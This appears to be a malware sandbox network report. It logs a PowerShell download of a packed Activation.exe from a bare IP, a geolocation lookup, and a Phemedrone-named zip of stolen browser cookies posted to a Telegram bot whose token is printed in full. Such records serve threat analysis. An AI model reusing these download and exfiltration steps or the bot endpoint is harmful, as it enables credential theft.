Dec 4, 2024 15:12:34.751749992 CET	443	49767	172.67.70.233	192.168.2.11
Dec 4, 2024 15:12:34.752038002 CET	443	49767	172.67.70.233	192.168.2.11
Dec 4, 2024 15:12:34.815365076 CET	49767	443	192.168.2.11	172.67.70.233
Dec 4, 2024 15:12:34.863328934 CET	443	49767	172.67.70.233	192.168.2.11
Dec 4, 2024 15:12:35.202729940 CET	443	49767	172.67.70.233	192.168.2.11
Dec 4, 2024 15:12:35.202871084 CET	443	49767	172.67.70.233	192.168.2.11
Dec 4, 2024 15:12:35.202999115 CET	49767	443	192.168.2.11	172.67.70.233
Dec 4, 2024 15:12:35.205950022 CET	49767	443	192.168.2.11	172.67.70.233
Dec 4, 2024 15:12:35.567039967 CET	49772	443	192.168.2.11	149.154.167.220
Dec 4, 2024 15:12:35.567086935 CET	443	49772	149.154.167.220	192.168.2.11
Dec 4, 2024 15:12:35.567339897 CET	49772	443	192.168.2.11	149.154.167.220
Dec 4, 2024 15:12:35.567940950 CET	49772	443	192.168.2.11	149.154.167.220
Dec 4, 2024 15:12:35.567956924 CET	443	49772	149.154.167.220	192.168.2.11
Dec 4, 2024 15:12:36.939076900 CET	443	49772	149.154.167.220	192.168.2.11
Dec 4, 2024 15:12:36.939228058 CET	49772	443	192.168.2.11	149.154.167.220
Dec 4, 2024 15:12:36.942297935 CET	49772	443	192.168.2.11	149.154.167.220
Dec 4, 2024 15:12:36.942313910 CET	443	49772	149.154.167.220	192.168.2.11
Dec 4, 2024 15:12:36.942692041 CET	443	49772	149.154.167.220	192.168.2.11
Dec 4, 2024 15:12:36.944022894 CET	49772	443	192.168.2.11	149.154.167.220
Dec 4, 2024 15:12:36.991333008 CET	443	49772	149.154.167.220	192.168.2.11
Dec 4, 2024 15:12:37.298069000 CET	49772	443	192.168.2.11	149.154.167.220
Dec 4, 2024 15:12:37.298114061 CET	443	49772	149.154.167.220	192.168.2.11
Dec 4, 2024 15:12:37.299166918 CET	49772	443	192.168.2.11	149.154.167.220
Dec 4, 2024 15:12:37.299189091 CET	443	49772	149.154.167.220	192.168.2.11
Dec 4, 2024 15:12:37.299504042 CET	49772	443	192.168.2.11	149.154.167.220
Dec 4, 2024 15:12:37.299829960 CET	443	49772	149.154.167.220	192.168.2.11
Dec 4, 2024 15:12:37.300040007 CET	49772	443	192.168.2.11	149.154.167.220
Dec 4, 2024 15:12:37.300066948 CET	443	49772	149.154.167.220	192.168.2.11
Dec 4, 2024 15:12:37.300194025 CET	49772	443	192.168.2.11	149.154.167.220
Dec 4, 2024 15:12:37.300214052 CET	443	49772	149.154.167.220	192.168.2.11
Dec 4, 2024 15:12:37.300266981 CET	49772	443	192.168.2.11	149.154.167.220
Dec 4, 2024 15:12:37.300277948 CET	443	49772	149.154.167.220	192.168.2.11
Dec 4, 2024 15:12:37.300292969 CET	49772	443	192.168.2.11	149.154.167.220
Dec 4, 2024 15:12:37.300304890 CET	49772	443	192.168.2.11	149.154.167.220
Dec 4, 2024 15:12:37.300314903 CET	49772	443	192.168.2.11	149.154.167.220
Dec 4, 2024 15:12:37.300328970 CET	443	49772	149.154.167.220	192.168.2.11
Dec 4, 2024 15:12:37.300364971 CET	49772	443	192.168.2.11	149.154.167.220
Dec 4, 2024 15:12:37.300374985 CET	443	49772	149.154.167.220	192.168.2.11
Dec 4, 2024 15:12:37.300384045 CET	49772	443	192.168.2.11	149.154.167.220
Dec 4, 2024 15:12:37.300405979 CET	443	49772	149.154.167.220	192.168.2.11
Dec 4, 2024 15:12:37.300502062 CET	49772	443	192.168.2.11	149.154.167.220
Dec 4, 2024 15:12:37.300512075 CET	443	49772	149.154.167.220	192.168.2.11
Dec 4, 2024 15:12:37.300587893 CET	49772	443	192.168.2.11	149.154.167.220
Dec 4, 2024 15:12:37.300601006 CET	443	49772	149.154.167.220	192.168.2.11
Dec 4, 2024 15:12:37.300630093 CET	49772	443	192.168.2.11	149.154.167.220
Dec 4, 2024 15:12:37.300637007 CET	443	49772	149.154.167.220	192.168.2.11
Dec 4, 2024 15:12:37.300652981 CET	49772	443	192.168.2.11	149.154.167.220
Dec 4, 2024 15:12:37.300664902 CET	443	49772	149.154.167.220	192.168.2.11
Dec 4, 2024 15:12:37.300715923 CET	49772	443	192.168.2.11	149.154.167.220
Dec 4, 2024 15:12:37.300724030 CET	443	49772	149.154.167.220	192.168.2.11
Dec 4, 2024 15:12:37.300744057 CET	49772	443	192.168.2.11	149.154.167.220
Dec 4, 2024 15:12:37.300754070 CET	443	49772	149.154.167.220	192.168.2.11
Dec 4, 2024 15:12:37.300833941 CET	49772	443	192.168.2.11	149.154.167.220
Dec 4, 2024 15:12:37.300843000 CET	443	49772	149.154.167.220	192.168.2.11
Dec 4, 2024 15:12:37.300858021 CET	49772	443	192.168.2.11	149.154.167.220
Dec 4, 2024 15:12:37.300863981 CET	443	49772	149.154.167.220	192.168.2.11
Dec 4, 2024 15:12:37.300879002 CET	49772	443	192.168.2.11	149.154.167.220
Dec 4, 2024 15:12:37.300889015 CET	443	49772	149.154.167.220	192.168.2.11
Dec 4, 2024 15:12:37.300944090 CET	49772	443	192.168.2.11	149.154.167.220
Dec 4, 2024 15:12:37.300966978 CET	49772	443	192.168.2.11	149.154.167.220
Dec 4, 2024 15:12:37.301053047 CET	49772	443	192.168.2.11	149.154.167.220
Dec 4, 2024 15:12:37.301068068 CET	49772	443	192.168.2.11	149.154.167.220
Dec 4, 2024 15:12:37.301116943 CET	49772	443	192.168.2.11	149.154.167.220
Dec 4, 2024 15:12:37.343341112 CET	443	49772	149.154.167.220	192.168.2.11
Dec 4, 2024 15:12:37.347449064 CET	49772	443	192.168.2.11	149.154.167.220
Dec 4, 2024 15:12:37.347486973 CET	49772	443	192.168.2.11	149.154.167.220
Dec 4, 2024 15:12:37.347606897 CET	49772	443	192.168.2.11	149.154.167.220
Dec 4, 2024 15:12:37.347635984 CET	49772	443	192.168.2.11	149.154.167.220
Dec 4, 2024 15:12:37.347645044 CET	49772	443	192.168.2.11	149.154.167.220
Dec 4, 2024 15:12:37.347656012 CET	49772	443	192.168.2.11	149.154.167.220
Dec 4, 2024 15:12:37.347727060 CET	49772	443	192.168.2.11	149.154.167.220
Dec 4, 2024 15:12:37.347754955 CET	49772	443	192.168.2.11	149.154.167.220
Dec 4, 2024 15:12:37.347848892 CET	49772	443	192.168.2.11	149.154.167.220
Dec 4, 2024 15:12:37.347954988 CET	49772	443	192.168.2.11	149.154.167.220
Dec 4, 2024 15:12:37.395343065 CET	443	49772	149.154.167.220	192.168.2.11
Dec 4, 2024 15:12:37.399333000 CET	49772	443	192.168.2.11	149.154.167.220
Dec 4, 2024 15:12:37.399353981 CET	49772	443	192.168.2.11	149.154.167.220
Dec 4, 2024 15:12:37.399399042 CET	49772	443	192.168.2.11	149.154.167.220
Dec 4, 2024 15:12:37.399482965 CET	49772	443	192.168.2.11	149.154.167.220
Dec 4, 2024 15:12:37.399501085 CET	49772	443	192.168.2.11	149.154.167.220
Dec 4, 2024 15:12:37.399542093 CET	49772	443	192.168.2.11	149.154.167.220
Dec 4, 2024 15:12:37.443346024 CET	443	49772	149.154.167.220	192.168.2.11
Dec 4, 2024 15:12:37.560127020 CET	443	49772	149.154.167.220	192.168.2.11
Dec 4, 2024 15:12:37.609148979 CET	49772	443	192.168.2.11	149.154.167.220
Dec 4, 2024 15:12:38.844995975 CET	443	49772	149.154.167.220	192.168.2.11
Dec 4, 2024 15:12:38.845733881 CET	443	49772	149.154.167.220	192.168.2.11
Dec 4, 2024 15:12:38.845808029 CET	49772	443	192.168.2.11	149.154.167.220
Dec 4, 2024 15:12:38.848897934 CET	49772	443	192.168.2.11	149.154.167.220

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 4, 2024 15:12:33.372473001 CET	56826	53	192.168.2.11	1.1.1.1
Dec 4, 2024 15:12:33.513854980 CET	53	56826	1.1.1.1	192.168.2.11
Dec 4, 2024 15:12:35.428414106 CET	63666	53	192.168.2.11	1.1.1.1
Dec 4, 2024 15:12:35.566379070 CET	53	63666	1.1.1.1	192.168.2.11

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 4, 2024 15:12:33.372473001 CET	192.168.2.11	1.1.1.1	0x81cb	Standard query (0)	get.geojs.io	A (IP address)	IN (0x0001)	false
Dec 4, 2024 15:12:35.428414106 CET	192.168.2.11	1.1.1.1	0x3321	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Dec 4, 2024 15:12:33.513854980 CET	1.1.1.1	192.168.2.11	0x81cb	No error (0)	get.geojs.io	172.67.70.233	A (IP address)	IN (0x0001)	false
Dec 4, 2024 15:12:33.513854980 CET	1.1.1.1	192.168.2.11	0x81cb	No error (0)	get.geojs.io	104.26.0.100	A (IP address)	IN (0x0001)	false
Dec 4, 2024 15:12:33.513854980 CET	1.1.1.1	192.168.2.11	0x81cb	No error (0)	get.geojs.io	104.26.1.100	A (IP address)	IN (0x0001)	false
Dec 4, 2024 15:12:35.566379070 CET	1.1.1.1	192.168.2.11	0x3321	No error (0)	api.telegram.org	149.154.167.220	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

get.geojs.io

api.telegram.org

45.200.148.86

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.11	49717	45.200.148.86	80	7336	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2024 15:12:12.909676075 CET	172	OUT	GET /Activation.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 45.200.148.86 Connection: Keep-Alive
Dec 4, 2024 15:12:14.187154055 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Wed, 04 Dec 2024 14:12:13 GMT Content-Type: application/octet-stream Content-Length: 3361979 Last-Modified: Wed, 04 Dec 2024 11:50:13 GMT Connection: keep-alive ETag: "675041f5-334cbb" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 7a 3d 50 67 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 dc 01 00 00 08 00 00 00 00 00 00 58 e0 56 00 00 20 00 00 00 00 02 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 89 00 00 04 00 00 4d 6c 33 00 02 00 60 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 3a 40 02 00 50 00 00 00 00 60 02 00 c0 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELz=Pg"0XV @ @Ml3`:@P` j ` @@ @B.imports @@.rsrc `@@.themida`T`.bootZ2VX2``
Dec 4, 2024 15:12:14.187185049 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 ad fc fd 31 00 6a 32 ea fe 27 fd eb 84 f3 0f 1c 79 40 d8 09 75 49 e8 eb 91 31 14 31 02 6b 01 df cd Data Ascii: 1j2'y@uI11kA')9Y_J3"3@j!\|YT7#Ii[\^CN9[ucxAy`+ MuK\|U;J;^/FLV)Z&
Dec 4, 2024 15:12:14.187196016 CET	248	IN	Data Raw: 3f be 3b 03 bf cb 87 d2 a2 bd 85 1a a3 ab b3 1d cb d7 d0 d9 8c b8 d2 95 a9 3e fd 5c 6a d8 20 19 7d d7 92 05 fd cd 74 0e 04 d7 7f 34 50 5d 6f 2d d6 23 16 4e 52 4f da 7b 03 80 fb da f4 d7 9e 64 06 fc 93 d7 ef 01 da 7e fa 3b 1c f5 f2 d1 15 0c 73 bd Data Ascii: ?;>\j }t4P]o-#NRO{d~;sS!`koN^~q&nO"Z<rm]PR7SMl@Z^!C^*');}6sH9M@QenAuEP^y(=SE
Dec 4, 2024 15:12:14.268255949 CET	1236	IN	Data Raw: ba 91 a1 de 2a 2a 3b 0b 55 50 d2 fa c1 a2 a9 fd f2 d0 83 78 96 70 1a b4 c0 7c 6b 1e ef 1f 08 ae 0f 09 49 74 ee 50 ad c0 e8 e2 1e bc f5 5e ab b5 f1 fd 5a 7a e8 ce 8f d7 52 fe 49 17 f4 68 ad 75 09 de 7c eb c1 d7 f1 45 fa fc 2a 85 c2 26 f3 6d 0a ca Data Ascii: *;UPxp\|kItP^ZzRIhu\|E&m=LKqELnKIn]VS-i8 (T`D$}Q/{(jCOl ?u,0dq@g#K?uon,n>n
Dec 4, 2024 15:12:14.268286943 CET	1236	IN	Data Raw: 6b 68 2b 63 3b 6b f2 42 be 50 27 7c 63 d5 97 74 08 90 6d 8c 61 ca 73 c1 15 f9 7f de 8e cb cb b9 7f 34 95 86 a9 6c 60 ce 00 b1 87 9a 29 cc fb 50 66 58 d8 5a 1c f5 5e 69 7d b0 29 14 7f b2 c1 20 1e d0 49 b4 1f c5 89 dc ea d6 62 e4 e9 c1 ea c7 45 d9 Data Ascii: kh+c;kBP'\|ctmas4l`)PfXZ^i}) IbE B7G9\pl&X8n=t71r:*-Iiwg!TX/Wjb#6iznb) vt0(A%wt
Dec 4, 2024 15:12:14.268301010 CET	1236	IN	Data Raw: 94 94 59 62 ad 4f 3e e0 f1 b6 21 38 93 01 1a 0a 54 6d 27 ac 03 61 d4 bc 2d fd 1f 0b 74 23 0d 8b dd cf b4 c1 af 48 e5 d6 39 84 0f d0 07 7f 84 0d 23 9c 4a 11 57 90 cb 0d ce e7 75 62 f0 ae 76 f6 e8 4f 40 04 04 c3 25 ff c7 d2 51 5d 31 b7 31 2d 01 c7 Data Ascii: YbO>!8Tm'a-t#H9#JWubvO@%Q]11-?n~iAr"aF(5IsK}"\Dh+@~7PVkJz?_/m%d2ca$ywPX!T*\Dg
Dec 4, 2024 15:12:14.268379927 CET	372	IN	Data Raw: 02 a3 8e e2 59 94 af 10 24 31 0b d1 b5 55 9c f3 fe 54 52 06 e3 5e e4 02 d9 9c a4 76 19 b3 4e 99 ad 9b 6e 07 50 59 c5 34 6d 95 c5 53 53 37 ca fa 2d 58 53 fb 27 69 7e 90 84 e5 73 b1 05 39 71 73 f1 93 14 c1 fb bd 71 78 53 70 71 02 22 4e 20 c7 f5 76 Data Ascii: Y$1UTR^vNnPY4mSS7-XS'i~s9qsqxSpq"N vCMpryD#X9!jc!f3&{_kGBt}*<a(S![AyIHQvr1~=.qd?#+f)xNSlRMlqyg}T{M
Dec 4, 2024 15:12:14.268455982 CET	1236	IN	Data Raw: 5f fd 5e e9 ba 4a 5a cc e9 b4 7b e7 df 45 87 02 cd f7 c6 d5 c2 cd 44 80 a7 05 b0 d7 fd b0 ee 62 1e 55 2d 3b 6d 62 03 58 21 11 2c 20 d6 06 70 dd ce cc a1 b0 6e 72 be d8 6e 5d 1d 35 7d 4b f0 05 a9 08 f9 d6 1f 7c 18 bc 80 3c 57 d4 59 75 a2 65 8f 34 Data Ascii: _^JZ{EDbU-;mbX!, pnrn]5}K\|<WYue47c{M (jL#N,Mc2fx6Rm]ZziiimJ*X\|qtr8.RyND^mfo{cpOnhr7SN1L{(+[`:n\L@j
Dec 4, 2024 15:12:14.268469095 CET	1236	IN	Data Raw: f3 74 df 0b f1 b4 4f 5f f5 39 c2 7c 1f f8 24 ae ff 4a 1f b9 f3 e9 9b 0d f4 1b c9 07 f1 d7 83 e3 01 97 4a 0c 96 ad a7 0d 08 58 9a 59 4f 9b c6 01 63 d9 f8 1a 7b da 77 0e 2f 67 28 33 fd d6 c2 e7 22 cc 83 83 28 ce 61 c8 88 5c 1f 10 fc 6e e8 2c f4 86 Data Ascii: tO_9\|$JJXYOc{w/g(3"(a\n,KUxnd&6rO`{#Uu^s=RQyO'c_Q7TcO'cnP!J\| c{ow*Eoz @q'=iSGbUEt]H
Dec 4, 2024 15:12:14.268481970 CET	248	IN	Data Raw: 9c c6 2f dd 71 6b 76 9f 76 d4 59 d1 41 3b 5e 5c 8b 54 1b 1c 02 24 a9 fb 6e bd 91 a5 3b 5e 2c a3 3e cd dd 24 9a 83 19 4a fb c0 19 f6 8b 81 49 93 ae 61 46 f1 ef c2 4f a2 b3 3b 23 03 e7 be 2c f5 50 c0 90 04 25 fd 28 5c b3 03 64 33 14 4d 84 09 be 01 Data Ascii: /qkvvYA;^\T$n;^,>$JIaFO;#,P%(\d3Ml5lb<Y+=mpE}&l)]I\|QNc]g973f43&]#}TP9uV8uqXOcxn)4RIMQpGp
Dec 4, 2024 15:12:14.307022095 CET	1236	IN	Data Raw: 66 a2 61 49 fc 9e 52 f0 48 2c db 45 5f f9 83 72 9a c9 da 0a cf 32 8e bc 9b d1 56 48 11 09 bd 8b 4a 3c 43 66 95 03 0f ce e8 7c 78 fb 4d 1c 2a ba ef 95 d8 f6 93 33 ce b3 a7 05 67 35 08 6f 60 db 4d 05 5b d2 5a b5 74 a0 4d c9 9c 8f dd 39 8d 7a fb fb Data Ascii: faIRH,E_r2VHJ<Cf\|xM3g5o`M[ZtM9z"!t!ExL(nOC{={'Su69puEr*lgo[cZpZFv8C`]HRw&GznvEF(8r/b3'#

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.11	49767	172.67.70.233	443	7808	C:\Users\user\AppData\Local\Activation.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-04 14:12:34 UTC	76	OUT	GET /v1/ip/geo.json HTTP/1.1 Host: get.geojs.io Connection: Keep-Alive
2024-12-04 14:12:35 UTC	1124	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 14:12:35 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close x-request-id: 1af875ec48b846adaaedce2de783d50a-ASH strict-transport-security: max-age=15552000; includeSubDomains; preload access-control-allow-origin: * access-control-allow-methods: GET pragma: no-cache Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 geojs-backend: ash-01 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=l36f%2FtbaNDw5jWuw0pXXi5LfBg7J7UWhHrmiKOM2k%2BbK%2BZOOsjhbdwmCs4WhTKx5UnXzAwzGXj2v0PZoBAg0LmC3T8AT2unE2Ioa%2FjQA3b5DUuNLcHN4yeTHGxgIMQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} X-Content-Type-Options: nosniff Server: cloudflare CF-RAY: 8ecc6466da1c5e71-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1677&min_rtt=1669&rtt_var=643&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2817&recv_bytes=690&delivery_rate=1680092&cwnd=238&unsent_bytes=0&cid=1a5e893e88575ee2&ts=463&x=0"
2024-12-04 14:12:35 UTC	245	IN	Data Raw: 31 34 36 0d 0a 7b 22 61 72 65 61 5f 63 6f 64 65 22 3a 22 30 22 2c 22 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 5f 6e 61 6d 65 22 3a 22 4c 45 56 45 4c 33 22 2c 22 63 6f 75 6e 74 72 79 5f 63 6f 64 65 22 3a 22 55 53 22 2c 22 63 6f 75 6e 74 72 79 5f 63 6f 64 65 33 22 3a 22 55 53 41 22 2c 22 63 6f 6e 74 69 6e 65 6e 74 5f 63 6f 64 65 22 3a 22 4e 41 22 2c 22 61 73 6e 22 3a 33 33 35 36 2c 22 72 65 67 69 6f 6e 22 3a 22 4e 65 77 20 59 6f 72 6b 22 2c 22 6c 61 74 69 74 75 64 65 22 3a 22 34 30 2e 37 31 32 33 22 2c 22 6c 6f 6e 67 69 74 75 64 65 22 3a 22 2d 37 34 2e 30 30 36 38 22 2c 22 61 63 63 75 72 61 63 79 22 3a 32 30 2c 22 63 69 74 79 22 3a 22 4e 65 77 20 59 6f 72 6b 22 2c 22 74 69 6d 65 7a 6f 6e 65 22 3a 22 41 6d 65 72 69 63 61 5c 2f 4e 65 Data Ascii: 146{"area_code":"0","organization_name":"LEVEL3","country_code":"US","country_code3":"USA","continent_code":"NA","asn":3356,"region":"New York","latitude":"40.7123","longitude":"-74.0068","accuracy":20,"city":"New York","timezone":"America\/Ne
2024-12-04 14:12:35 UTC	88	IN	Data Raw: 77 5f 59 6f 72 6b 22 2c 22 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 22 3a 22 41 53 33 33 35 36 20 4c 45 56 45 4c 33 22 2c 22 69 70 22 3a 22 38 2e 34 36 2e 31 32 33 2e 32 32 38 22 2c 22 63 6f 75 6e 74 72 79 22 3a 22 55 6e 69 74 65 64 20 53 74 61 74 65 73 22 7d 0a 0d 0a Data Ascii: w_York","organization":"AS3356 LEVEL3","ip":"8.46.123.228","country":"United States"}
2024-12-04 14:12:35 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.11	49772	149.154.167.220	443	7808	C:\Users\user\AppData\Local\Activation.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-04 14:12:36 UTC	384	OUT	POST /bot7772275304:AAF3OSvWBzn5cIHkGD9ueBFz5ed91u-60-U/sendDocument HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/602.37 (KHTML, like Gecko) Chrome/49.0.1422.399 Safari/600 Content-Type: multipart/form-data; boundary=----------------------------8dd1443ca149eb0 Host: api.telegram.org Content-Length: 698550 Expect: 100-continue Connection: Keep-Alive
2024-12-04 14:12:37 UTC	16355	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 31 34 34 33 63 61 31 34 39 65 62 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 5b 55 53 5d 38 2e 34 36 2e 31 32 33 2e 32 32 38 2d 50 68 65 6d 65 64 72 6f 6e 65 2d 52 65 70 6f 72 74 2e 7a 69 70 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 50 4b 03 04 14 00 00 00 00 00 8f 49 84 59 62 27 9a 60 1f 01 00 00 1f 01 00 00 28 00 48 00 42 72 6f 77 73 65 72 20 44 61 74 61 2f 43 68 72 6f 6d 65 2f 43 6f 6f 6b 69 65 73 5b 44 65 66 61 75 6c 74 5d Data Ascii: ------------------------------8dd1443ca149eb0Content-Disposition: form-data; name="document"; filename="[US]8.46.123.228-Phemedrone-Report.zip"Content-Type: application/octet-streamPKIYb'`(HBrowser Data/Chrome/Cookies[Default]
2024-12-04 14:12:37 UTC	16355	OUT	Data Raw: c0 22 97 7d 79 07 a0 90 b0 63 54 67 1e 32 4f 9d 7f 9e d8 d3 5a 7b 58 4f e0 3b c4 b5 15 82 ca 5b 90 7f 82 b5 04 a0 3a 00 25 00 f5 cc 3f 44 9b a4 9e c4 5e 92 73 bb c5 da dd 17 87 49 33 ef 4d 22 8f 98 04 1d 73 ea 24 07 59 4b da 59 24 07 f5 19 c0 9c 98 e2 b5 5d 07 de 34 ac b8 e0 0a f0 84 d4 05 78 57 12 7a 8c 9a ab 23 10 d9 a7 98 6a 24 06 79 7e a0 15 7e 56 02 aa 23 b0 36 f5 f6 04 c2 4f 2f 09 01 d6 e9 85 20 a5 d0 b3 58 d9 d7 d0 ed 67 72 cc c9 f5 4d 8b df 6d 3a 32 b1 64 2a 72 b0 60 cc 2e d4 2d 08 13 77 8f 3f 63 1c ad b0 93 74 a3 06 41 28 a9 c7 5a 57 81 a9 97 48 b4 e2 cf 5e 11 46 26 72 a6 95 77 12 80 a0 b8 24 5e 5e a7 b9 be 4f 8e 8d db b3 15 d7 73 ff 72 c9 86 60 43 c4 59 49 47 ed bf d9 2d fe bd 8a 79 44 1d 39 e5 59 0b ce d1 1e 50 9d 3d 4b 71 75 0c 36 ab 21 cf 79 Data Ascii: "}ycTg2OZ{XO;[:%?D^sI3M"s$YKY$]4xWz#j$y~~V#6O/ XgrMm:2d*r`.-w?ctA(ZWH^F&rw$^^Osr`CYIG-yD9YP=Kqu6!y
2024-12-04 14:12:37 UTC	16355	OUT	Data Raw: 6f cf e5 99 7f 5c fb 25 af f8 d8 cf df 1f c6 7d e1 81 c4 f8 59 0f 26 88 f5 1d c0 1b 80 e9 00 44 12 c6 9f ed c0 f8 5d e2 9a 38 73 c6 da 7e 85 08 b4 48 04 26 f9 87 04 9c b9 34 09 40 c4 df f8 83 e2 f7 29 05 20 a8 03 50 02 50 9d 7f cc c7 c7 9f 1b ac ec 53 9e 79 7d c6 c2 50 db 67 c1 20 21 c7 dc 92 77 f4 69 ae b5 a4 9e f6 83 f2 e0 c9 45 91 f6 ef b9 b8 ba 06 2c b9 37 61 e6 f2 24 f8 e8 f4 b3 f2 8f 51 72 90 79 ea 06 74 ae 00 b3 46 f2 49 f4 29 46 2d 02 90 35 f5 85 00 2c 3a 01 81 3c d2 b0 36 3d fe 77 2c 63 44 67 e9 1c f6 a8 2e ed 2b 45 9f bd e6 cb a8 37 02 33 17 56 12 4a 06 72 e5 b7 ea e6 db 7d 61 98 14 7f 5e db f9 c7 58 9b 7a 7b 25 08 a9 a5 86 31 89 c1 a9 77 24 39 07 56 fe e5 cf 06 64 ad 8e 3f 89 3f ed 95 e4 2b 84 5e 71 16 6b ea 07 44 df 5d 61 62 fc 79 41 f5 45 1d Data Ascii: o\%}Y&D]8s~H&4@) PPSy}Pg !wiE,7a$QrytFI)F-5,:<6=w,cDg.+E73VJr}a^Xz{%1w$9Vd??+^qkD]abyAE
2024-12-04 14:12:37 UTC	16355	OUT	Data Raw: 9d 80 c8 3f 09 40 75 f9 59 c9 37 28 76 f0 03 45 07 61 99 57 8d 5d 4b 00 4a fe e9 f9 7f de 15 60 0b 71 64 1e 73 de fc 8b e0 63 ce a8 eb bf b6 5e b9 54 57 3e 03 b0 78 ce 5f dc 5b ca 40 bd 1c 84 75 21 05 e3 77 34 02 90 b9 ba 02 25 01 d5 05 98 77 04 a6 b5 e9 fa cb af fe 82 cd 09 c5 c1 ca 3d 75 fb 49 ee 29 9e a3 3c 2f 08 d1 cb 3e e8 04 f4 9e 01 a8 b5 24 a0 5d 23 00 ed f3 fd d4 e9 c7 5c 9d 7e 92 80 aa b1 1d 80 49 02 96 02 30 bd f1 b7 7c f9 87 5e 04 92 ba 03 4b 59 a7 ab bb 56 fc 59 91 c7 68 3b fe 14 63 cc e7 5a a7 98 91 7d bc e1 17 a9 c7 d5 5f e2 12 80 aa c9 05 1f b5 5e 17 a0 04 61 5a ef 36 20 ff 72 41 27 99 07 49 d6 f1 bb 88 73 75 04 22 f9 72 d1 c7 cb 3e a8 23 ae 3a d6 92 89 ac 75 9e f6 41 2e fe 24 f1 d4 05 28 d9 c7 1c d9 47 2d 35 a0 bd 5a 2b 9f ea 4b 39 27 69 Data Ascii: ?@uY7(vEaW]KJ`qdsc^TW>x_[@u!w4%w=uI)</>$]#\~I0\|^KYVYh;cZ}_^aZ6 rA'Isu"r>#:uA.$(G-5Z+K9'i
2024-12-04 14:12:37 UTC	16355	OUT	Data Raw: 08 c0 65 ac bd ee 6f 47 da f8 d8 be 76 98 a7 0d c7 7c 15 84 cb 40 fe 79 2c 18 46 91 37 8c 63 6c 15 14 7e f5 38 ef d0 8f b1 65 2c cb 1b df 1b 18 8e 05 2f 62 fd 95 df 98 62 e3 55 df 5c cc 20 ef 32 6a 45 5f 10 86 0a 44 63 de 14 3c 8f c9 cb bf 32 f6 37 5e 2e 65 7d 00 39 18 69 c5 df 94 0c 4c 50 24 ce 93 89 1e 21 e6 b8 70 3c 32 1c a5 9f 7d ab fe e8 2b fd 20 0a bd 03 2f fe 5a 77 f0 25 e5 79 a5 8f fc 9b 3c f7 8b 95 79 22 70 5f 05 a9 b7 d9 f6 72 af e4 17 36 58 83 64 1c 73 7b 36 e3 e4 f5 97 82 28 08 69 db 3e f3 6b cf fd fc 08 e3 2a 01 0b 07 11 88 05 fa 51 ee 65 02 50 31 d8 4a 40 a9 f2 af c1 63 c2 ce bb 07 fb d6 bd 9e 59 c6 cf f8 dc 28 0d c5 18 